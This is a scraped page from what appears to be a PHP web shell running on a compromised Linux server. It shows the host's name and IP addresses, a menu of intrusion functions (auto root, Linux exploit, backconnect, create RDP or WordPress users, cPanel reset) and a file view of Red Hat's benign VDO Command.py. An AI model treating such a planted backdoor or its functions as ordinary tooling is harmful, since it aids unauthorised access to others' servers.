Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.221.221.171
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
vdo /
statistics /
[ HOME SHELL ]
Name
Size
Permission
Action
Command.py
1.5
KB
-rw-r--r--
Command.pyc
1.41
KB
-rw-r--r--
Command.pyo
1.41
KB
-rw-r--r--
Field.py
6.96
KB
-rw-r--r--
Field.pyc
10.93
KB
-rw-r--r--
Field.pyo
10.93
KB
-rw-r--r--
KernelStatistics.py
6.1
KB
-rw-r--r--
KernelStatistics.pyc
5.88
KB
-rw-r--r--
KernelStatistics.pyo
5.88
KB
-rw-r--r--
LabeledValue.py
3.58
KB
-rw-r--r--
LabeledValue.pyc
4.97
KB
-rw-r--r--
LabeledValue.pyo
4.97
KB
-rw-r--r--
StatFormatter.py
8.32
KB
-rw-r--r--
StatFormatter.pyc
9.52
KB
-rw-r--r--
StatFormatter.pyo
9.52
KB
-rw-r--r--
StatStruct.py
10.06
KB
-rw-r--r--
StatStruct.pyc
11.35
KB
-rw-r--r--
StatStruct.pyo
11.35
KB
-rw-r--r--
VDOReleaseVersions.py
1.07
KB
-rw-r--r--
VDOReleaseVersions.pyc
1.29
KB
-rw-r--r--
VDOReleaseVersions.pyo
1.29
KB
-rw-r--r--
VDOStatistics.py
11.58
KB
-rw-r--r--
VDOStatistics.pyc
9.73
KB
-rw-r--r--
VDOStatistics.pyo
9.73
KB
-rw-r--r--
__init__.py
1.14
KB
-rw-r--r--
__init__.pyc
650
B
-rw-r--r--
__init__.pyo
650
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Command.py
# # Copyright (c) 2018 Red Hat, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301, USA. # """ Command -- a command which is implemented as an ioctl $Id: //eng/vdo-releases/magnesium/src/python/vdo/statistics/Command.py#1 $ """ import fcntl class Command(object): """ Command represents a command which may be sent to a VDO via an ioctl. Commands have no return data. For ioctls which fetch statistics, use StatStruct. """ def __init__(self, ioctl): """ :param ioctl: The numeric value of the ioctl for this command. """ self.ioctl = ioctl def act(self, device): """ Send the command to a device. :param device: The name of the device on which to act. """ with open(device, 'r') as fd: result = fcntl.ioctl(fd, self.ioctl) if result: raise Exception("ioctl failed with result {0}".format(result))
Close